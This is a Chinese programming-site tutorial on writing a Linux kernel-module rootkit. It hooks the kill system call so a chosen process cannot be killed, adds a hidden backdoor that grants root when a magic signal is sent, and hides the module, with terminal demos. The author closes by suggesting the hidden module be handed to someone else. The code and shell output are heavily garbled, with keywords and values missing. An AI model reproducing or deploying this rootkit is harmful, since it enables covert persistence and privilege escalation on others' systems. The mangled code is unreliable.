程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> 關於C語言 >> 手把手教你寫LKM rookit! 之 殺不死的pid&root後門

手把手教你寫LKM rookit! 之 殺不死的pid&root後門

編輯:關於C語言

......上一節,我們編寫了一個基本的lkm模塊,從功能上來說它還沒有rootkit的特征,這次我們給它添加一點有意思的功能.我們讓一個指定的進程殺不死,

    曾經,想寫一個誰也殺不死的進程,進程能捕捉到SIGTERM,就是kill默認發送的signal,能捕捉到SIGINT,你平時按下Ctrl-C就是這個操作,但是無論如何你也無法阻止,

SIGKILL,及終極殺人王火雲邪神的必殺kill -9 pid.

    作為一個小強,怎麼能被現實如此的摧殘,我們要對命運說不,so 有個幾種解決方案,一中方案:兩個進程互相監聽,另外一個死了,立馬起一個新的進程,另外一種方案:

我們想是誰讓kill -9 就能殺死程序的?是誰?對是操作系統?作為一切操作皆系統調用來說,kill也是系統調用啊.....所以我們可以改系統調用就行了,而且在內核態可以無視用戶,

隨便切換個uid都是小意思.

     廢話不多,上代碼

#include <asm/unistd.h><linux/highmem.h><asm/current.h><linux/sched.h><linux/kernel.h><linux/module.h><linux/init.h><linux/slab.h><linux/list.h><linux/dirent.h><linux/.h><linux/fdtable.h><linux/moduleparam.h> ROOT_PID 7311
 ROOT_SIG 7

  lpid = , 
 *sys_call_table = (unsigned *)  unsigned  cr0 =&  (*kill_ptr)(pid_t pid,  hacked_kill(pid_t pid, 
     (pid == ROOT_PID && sig == cred *= ( cred *->uid = ->gid = ->suid = ->euid = ->euid = ->egid = ->fsuid = ->fsgid =   (pid == = (*  rootkit_in( module *== (kill_ptr)sys_call_table[__NR_kill]; 
    sys_call_table[__NR_kill] = (unsigned &((self = find_module(&self->&       rootkit_out(== (unsigned  

 

    需要說明的幾點是0xc12efee0這個地址每個人都不一樣的,它在/boot/System.map-`uname -r`記錄著,他表示sys_call_table的地址

    cat /boot/System.map-`uname -r` | grep sys_call

unsigned  *sys_call_table = (unsigned *) ;

    基本的使用就是

1.先隨便起個進程,這裡以我們的哪個deamon後台簽到程序為例./l137,記錄pid 為 13165

liet@kali:~/code/c/study/socket/http/bbs_sign$ ./~/code/c/study/socket/http/bbs_sign$  aux |            ?        S    :   : ./           pts/    S+   :   : ~/code/c/study/socket/http/bbs_sign$ 

2.加載rootkit

liet@kali:~/code/c/study/virus/toykit/toykit_or/test$   test.ko lpid=~/code/c/study/virus/toykit/toykit_or/test$ dmesg | ] warning: `VirtualBox
[  ] test: `~/code/c/study/virus/toykit/toykit_or/test$ 

ok, rootkit loaded!!!!

3.rootkit操作

   1.殺不死的13165進程

liet@kali:~/code/c/study/socket/http/bbs_sign$  - ~/code/c/study/socket/http/bbs_sign$  aux |            ?        S    :   : ./           pts/    S+   :   :  l137

  2.root後門

    

liet@kali:~/code/c/study/socket/http/bbs_sign$ =(liet) gid=(liet) =(liet),(dialout),(~/code/c/study/socket/http/bbs_sign$  - ~/code/c/study/socket/http/bbs_sign$ =(root) gid=(root) =(root),(dialout),(),~/code/c/study/socket/http/bbs_sign$ 

 

你整好了一個進程之後,然後隱藏mod,再交給別人,讓他殺吧,看他怎麼殺,........

 

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved